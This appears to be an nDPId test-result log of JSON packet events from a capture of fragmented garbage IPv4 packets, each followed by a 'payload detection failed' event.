+00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474560,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474581,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474592,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474602,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474612,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474623,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474634,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474644,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474666,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474687,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474698,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474731,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474738,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474771,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474802,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474822,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474833,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474865,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474907,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474918,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474949,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474959,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474969,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 